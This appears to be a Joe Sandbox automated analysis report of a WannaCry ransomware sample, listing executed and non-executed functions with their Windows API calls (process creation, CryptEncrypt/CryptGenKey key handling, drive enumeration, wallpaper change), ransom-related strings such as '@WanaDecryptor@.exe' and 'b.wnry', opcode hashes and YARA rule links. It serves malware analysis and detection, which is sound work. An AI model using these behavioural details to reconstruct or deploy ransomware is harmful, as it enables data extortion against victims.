                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                          • Part of subcall function 10001080: CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 100010D3
                                                                                                          • Part of subcall function 10001080: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010EB
                                                                                                          • Part of subcall function 10001080: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
                                                                                                          • Part of subcall function 10001080: GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
                                                                                                          • Part of subcall function 10001080: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001121
                                                                                                          • Part of subcall function 10001080: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001128
                                                                                                        • Sleep.KERNELBASE(00007530), ref: 10005326
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Process$CloseHandle$CodeCreateExitObjectSingleSleepTerminateWait
                                                                                                        • String ID: taskdl.exe
                                                                                                        • API String ID: 4030905792-3879089904
                                                                                                        • Opcode ID: 51d646c9bd2edbf85fdfc6af582cba98f12fd6c8ac893db1c951d156dd274f2d
                                                                                                        • Instruction ID: d6b831c00407921d731d2983abcfaeab2a0bbf5aee0f41f70865c78235a7e0dd
                                                                                                        • Opcode Fuzzy Hash: 51d646c9bd2edbf85fdfc6af582cba98f12fd6c8ac893db1c951d156dd274f2d
                                                                                                        • Instruction Fuzzy Hash: 52D01271B2812197F340E7795C41B8732D4A7106D1F114623F554D31DCEAD1E9008575
                                                                                                        Function 100045C0 Relevance: 3.0, APIs: 2, Instructions: 15sleepthreadCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                          • Part of subcall function 10004500: sprintf.MSVCRT ref: 10004528
                                                                                                          • Part of subcall function 10004500: GetFileAttributesA.KERNELBASE(?), ref: 1000453C
                                                                                                          • Part of subcall function 10004500: GetFileAttributesA.KERNEL32(00000000.pky), ref: 10004548
                                                                                                        • Sleep.KERNELBASE(00001388), ref: 100045E3
                                                                                                        • ExitThread.KERNEL32 ref: 100045E9
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AttributesFile$ExitSleepThreadsprintf
                                                                                                        • String ID:
                                                                                                        • API String ID: 3028760467-0
                                                                                                        • Opcode ID: 5e3f6d6ed5a0ad8cdc5edd1a5f4ca14f1afc00218b5e324edc674d1ee7b02308
                                                                                                        • Instruction ID: 7f71a9df7b11f8961ba65e8475ca60af5bbcfddb40bc2544ede7146ac3c113f8
                                                                                                        • Opcode Fuzzy Hash: 5e3f6d6ed5a0ad8cdc5edd1a5f4ca14f1afc00218b5e324edc674d1ee7b02308
                                                                                                        • Instruction Fuzzy Hash: C1D0A7F5804F22D7F302A7A59C4174E36A8BF447C1F070116F5089315AEE60A6008F66
                                                                                                        Function 10004150 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • GlobalFree.KERNEL32(?), ref: 10004158
                                                                                                        • FindCloseChangeNotification.KERNELBASE(?), ref: 10004167
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ChangeCloseFindFreeGlobalNotification
                                                                                                        • String ID:
                                                                                                        • API String ID: 397936838-0
                                                                                                        • Opcode ID: 95c6753cd6a729dbd2e938d525553f3bf1bc6ee1f9d914f0cf534606ea1e53d3
                                                                                                        • Instruction ID: 6e5334fcabd99f70dbee0bd7ab8d8fb6890c89af135d3bc21c4c58ce30c3f96f
                                                                                                        • Opcode Fuzzy Hash: 95c6753cd6a729dbd2e938d525553f3bf1bc6ee1f9d914f0cf534606ea1e53d3
                                                                                                        • Instruction Fuzzy Hash: CFC00270E0062597EF40DB748D88DDD77B9BB543F57124610F425E25D4DB38D8C58924
                                                                                                        Function 10003FF3 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • GlobalFree.KERNEL32(?), ref: 10003FFB
                                                                                                        • FindCloseChangeNotification.KERNELBASE(?), ref: 1000400A
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ChangeCloseFindFreeGlobalNotification
                                                                                                        • String ID:
                                                                                                        • API String ID: 397936838-0
                                                                                                        • Opcode ID: 95c6753cd6a729dbd2e938d525553f3bf1bc6ee1f9d914f0cf534606ea1e53d3
                                                                                                        • Instruction ID: cde0e7c9d00266dd521057b441dd1465dd06113e1ffa8f738b3e980e73fa046c
                                                                                                        • Opcode Fuzzy Hash: 95c6753cd6a729dbd2e938d525553f3bf1bc6ee1f9d914f0cf534606ea1e53d3
                                                                                                        • Instruction Fuzzy Hash: 7BC00270D0011597EF50DB748C88ADD77B9BB043E17114610F565F25E4DB39D8D58924
                                                                                                        Function 10003760 Relevance: 1.3, APIs: 1, Instructions: 38COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ??2@
                                                                                                        • String ID:
                                                                                                        • API String ID: 1033339047-0
                                                                                                        • Opcode ID: 74eacbc20383896c45a81761181eb09298f2ecdfe049397aa81faf53124bbe71
                                                                                                        • Instruction ID: a15c0a293f5e24c1dea9984ccd3df6ccb11cefa01a4d594410c7fe3b55cc443a
                                                                                                        • Opcode Fuzzy Hash: 74eacbc20383896c45a81761181eb09298f2ecdfe049397aa81faf53124bbe71
                                                                                                        • Instruction Fuzzy Hash: E1F08CF66042018F9B09CF18C05096AB7EAEFC87A0B16806DE80EDB391DB70AC01CB90

                                                                                                        Non-executed Functions

                                                                                                        Function 10004440 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62libraryloaderCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • LoadLibraryA.KERNEL32(advapi32.dll,75D9A710,10003416,75D9A710,10005BA1), ref: 10004456
                                                                                                        • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 10004473
                                                                                                        • GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 10004480
                                                                                                        • GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 1000448D
                                                                                                        • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 1000449A
                                                                                                        • GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 100044A7
                                                                                                        • GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 100044B4
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AddressProc$LibraryLoad
                                                                                                        • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                                                                                        • API String ID: 2238633743-2459060434
                                                                                                        • Opcode ID: b363998bde18683af009ee46e1ce10118f5fbe9ee4d3bceef1b0164aeb75d0ff
                                                                                                        • Instruction ID: 8acda46cc026f7592c4ee70142fb235f08bec8b36f89472f51a8b593d463a20b
                                                                                                        • Opcode Fuzzy Hash: b363998bde18683af009ee46e1ce10118f5fbe9ee4d3bceef1b0164aeb75d0ff
                                                                                                        • Instruction Fuzzy Hash: 781121B0643761A7FB54FB6A9C94FEE3694EBC42D1302002BE9019315DDF649841CB70
                                                                                                        Function 10004F20 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 90fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 10004F7C
                                                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 10004F99
                                                                                                        • CopyFileW.KERNEL32(?,?,00000000), ref: 10004FB4
                                                                                                        • GetUserNameW.ADVAPI32 ref: 10004FF0
                                                                                                        • _wcsicmp.MSVCRT ref: 10005006
                                                                                                        • SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 1000501E
                                                                                                        • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe), ref: 10005034
                                                                                                        • CopyFileW.KERNEL32(@WanaDecryptor@.exe,?,00000000), ref: 10005045
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CopyFileswprintf$ByteCharInfoMultiNameParametersSystemUserWide_wcsicmp
                                                                                                        • String ID: %s\%s$@WanaDecryptor@.bmp$@WanaDecryptor@.exe$b.wnry
                                                                                                        • API String ID: 2700836184-163098832
                                                                                                        • Opcode ID: bf392daa0d3de960360cd3c4300729d8e512d5ebde27cbd7410bd1becd215d1f
                                                                                                        • Instruction ID: e55c92b8c82600a83f2bc68813337d3839c0dc3b58a337792abbc0111089e87c
                                                                                                        • Opcode Fuzzy Hash: bf392daa0d3de960360cd3c4300729d8e512d5ebde27cbd7410bd1becd215d1f
                                                                                                        • Instruction Fuzzy Hash: 1F319F7154430AAAF720DB64CC84FEBB3A9FBD8780F004928F74897194E675A54987B7
                                                                                                        Function 10005540 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101sleepCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • InterlockedExchangeAdd.KERNEL32(1000D4E4,00000000), ref: 1000557E
                                                                                                        • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 100055AE
                                                                                                        • Sleep.KERNEL32(000003E8), ref: 100055CB
                                                                                                        • GetDriveTypeW.KERNEL32(?), ref: 100055E9
                                                                                                        • GetDriveTypeW.KERNEL32(00000000,00000000,00000019,75733300,00000000), ref: 100055FD
                                                                                                        • InterlockedExchange.KERNEL32(1000D4E4,?), ref: 1000560A
                                                                                                        • GetDriveTypeW.KERNEL32(?), ref: 10005615
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: DriveType$ExchangeInterlocked$DiskFreeSleepSpace
                                                                                                        • String ID: :\
                                                                                                        • API String ID: 3294574733-2155371604
                                                                                                        • Opcode ID: 61cea2a78f95dfb05a4314cfbf4166deab6280a281f2e8abaf9f34550cafe113
                                                                                                        • Instruction ID: f64d85ad46bc30538c74047da36dc2f651c409be43941944ac19416e7c7c5497
                                                                                                        • Opcode Fuzzy Hash: 61cea2a78f95dfb05a4314cfbf4166deab6280a281f2e8abaf9f34550cafe113
                                                                                                        • Instruction Fuzzy Hash: 88318432504316ABE740DF54DC84E9FB3E9FB84681F400E19F545D7158E776EA09C7A2
                                                                                                        Function 10006940 Relevance: 12.2, APIs: 8, Instructions: 209COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006959
                                                                                                        • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006969
                                                                                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006A54
                                                                                                        • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006A64
                                                                                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006B1F
                                                                                                        • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B2F
                                                                                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8D0), ref: 10006B85
                                                                                                        • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B95
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ??0exception@@ExceptionThrow
                                                                                                        • String ID:
                                                                                                        • API String ID: 941485209-0
                                                                                                        • Opcode ID: 2f6f863f4f1b27604bc7f9c16208b3bc369cdb7356135f5c50d3af07c9db71d3
                                                                                                        • Instruction ID: 059c23d85c393ba9fd365f6bea795e9a80031673541d73dce98a36ed974061eb
                                                                                                        • Opcode Fuzzy Hash: 2f6f863f4f1b27604bc7f9c16208b3bc369cdb7356135f5c50d3af07c9db71d3
                                                                                                        • Instruction Fuzzy Hash: FD6182357042528BE704DF299C909ABB7E7FBCD284F15867DEC89A7209CB31AA05CB51
                                                                                                        Function 10003D10 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154encryptionstringCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                          • Part of subcall function 10003A80: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,75733310,75733310,10003D9E,?,75733310,00000000), ref: 10003A9D
                                                                                                          • Part of subcall function 10003F00: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10003F45
                                                                                                          • Part of subcall function 10003F00: GetFileSize.KERNEL32(00000000,00000000), ref: 10003F5B
                                                                                                          • Part of subcall function 10003F00: _local_unwind2.MSVCRT ref: 10004017
                                                                                                        • CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200,?,?,?,?,75733310,00000000), ref: 10003E2B
                                                                                                        • _local_unwind2.MSVCRT ref: 10003E3B
                                                                                                        • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,?,?,?,?,75733310,00000000), ref: 10003E70
                                                                                                        • strncmp.MSVCRT(00000000,75733310,?,?,?,?,?,75733310,00000000), ref: 10003EA1
                                                                                                        • _local_unwind2.MSVCRT ref: 10003EB4
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Crypt_local_unwind2$File$AcquireContextCreateDecryptEncryptSizestrncmp
                                                                                                        • String ID: TESTDATA
                                                                                                        • API String ID: 154225373-1607903762
                                                                                                        • Opcode ID: 5841e8cc0e4b8ef1c8e0f906ed67527bce7dcc068ddb21026a2c4ed6748e33c7
                                                                                                        • Instruction ID: a032fc21090523e0544b4f1491e0cf73a7f188879e4d6ad20d27030e122f8292
                                                                                                        • Opcode Fuzzy Hash: 5841e8cc0e4b8ef1c8e0f906ed67527bce7dcc068ddb21026a2c4ed6748e33c7
                                                                                                        • Instruction Fuzzy Hash: E5513E75900258ABE714CB64DC85BEBB7B8FB48360F1087ADF919D72C5EB709A44CB90
                                                                                                        Function 10005DC0 Relevance: 9.4, APIs: 6, Instructions: 375COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 10005DDF
                                                                                                        • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005DEF
                                                                                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E18
                                                                                                        • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E28
                                                                                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E51
                                                                                                        • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E61
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ??0exception@@ExceptionThrow
                                                                                                        • String ID:
                                                                                                        • API String ID: 941485209-0
                                                                                                        • Opcode ID: 88114097bd0232d87ad232c99e4ff1f677db4ca52730fc6aa934377dfeb33ee7
                                                                                                        • Instruction ID: 5cf11e140e7aea64f1cdd1e13d3de007c6777824907ae8690337d7dedc6976b5
                                                                                                        • Opcode Fuzzy Hash: 88114097bd0232d87ad232c99e4ff1f677db4ca52730fc6aa934377dfeb33ee7
                                                                                                        • Instruction Fuzzy Hash: 82E1B5716042458BE708CF29C89069AB7E2FFCD384F59857DE889DB35ADB30EA41CB51
                                                                                                        Function 10001360 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,75D9F130), ref: 1000139C
                                                                                                        • CheckTokenMembership.ADVAPI32(00000000,?,75D9F130,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 100013B6
                                                                                                        • FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 100013C9
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                                                        • String ID:
                                                                                                        • API String ID: 3429775523-0
                                                                                                        • Opcode ID: e2dc8b4d3794bc66afb40d1778fc3f1714f7f223d93bfd3796b057e1ee31e261
                                                                                                        • Instruction ID: d0e0d5e2c48fa59e13d9dd79d39f3d735634ff5945503f036d462e8db185075f
                                                                                                        • Opcode Fuzzy Hash: e2dc8b4d3794bc66afb40d1778fc3f1714f7f223d93bfd3796b057e1ee31e261
                                                                                                        • Instruction Fuzzy Hash: 95014F7154C381FFE340DB2888C4AABBBE8EB94684FC49C4DF48943156D234D908D727
                                                                                                        Function 10006280 Relevance: 3.3, APIs: 2, Instructions: 308COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 1000629A
                                                                                                        • _CxxThrowException.MSVCRT(?,1000AF00), ref: 100062AA
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ??0exception@@ExceptionThrow
                                                                                                        • String ID:
                                                                                                        • API String ID: 941485209-0
                                                                                                        • Opcode ID: f99b3965f5dc8d8fa443a323bef4497a13ce9e85b048de717e3a56c0278bf916
                                                                                                        • Instruction ID: 8a3fb1430c27dfc228261433490dab6bd00980f295ff4bb0f266184577da6e41
                                                                                                        • Opcode Fuzzy Hash: f99b3965f5dc8d8fa443a323bef4497a13ce9e85b048de717e3a56c0278bf916
                                                                                                        • Instruction Fuzzy Hash: B7C17022A083D24BD305CF7988E009AFFE2BFDE244B4ED4BDE5C99B366C57195098791
                                                                                                        Function 10006640 Relevance: 3.2, APIs: 2, Instructions: 242COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006659
                                                                                                        • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006669
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ??0exception@@ExceptionThrow
                                                                                                        • String ID:
                                                                                                        • API String ID: 941485209-0
                                                                                                        • Opcode ID: 3d7b9d66e8179924543ffb11a62235faef9196394649210147293824cf356565
                                                                                                        • Instruction ID: 79948d9e1e0e4fd9a86f40f9287b0f552434bc35f44e017899462d58d151028f
                                                                                                        • Opcode Fuzzy Hash: 3d7b9d66e8179924543ffb11a62235faef9196394649210147293824cf356565
                                                                                                        • Instruction Fuzzy Hash: FF91BE756083828FD718CF28C890A9ABBE2FFCE344F25496DE989C7315C631E945CB91
                                                                                                        Function 10004420 Relevance: 1.5, APIs: 1, Instructions: 8encryptionCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CryptGenRandom.ADVAPI32(?,?,?,10005C8E,1000DC68,00000008), ref: 1000442E
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
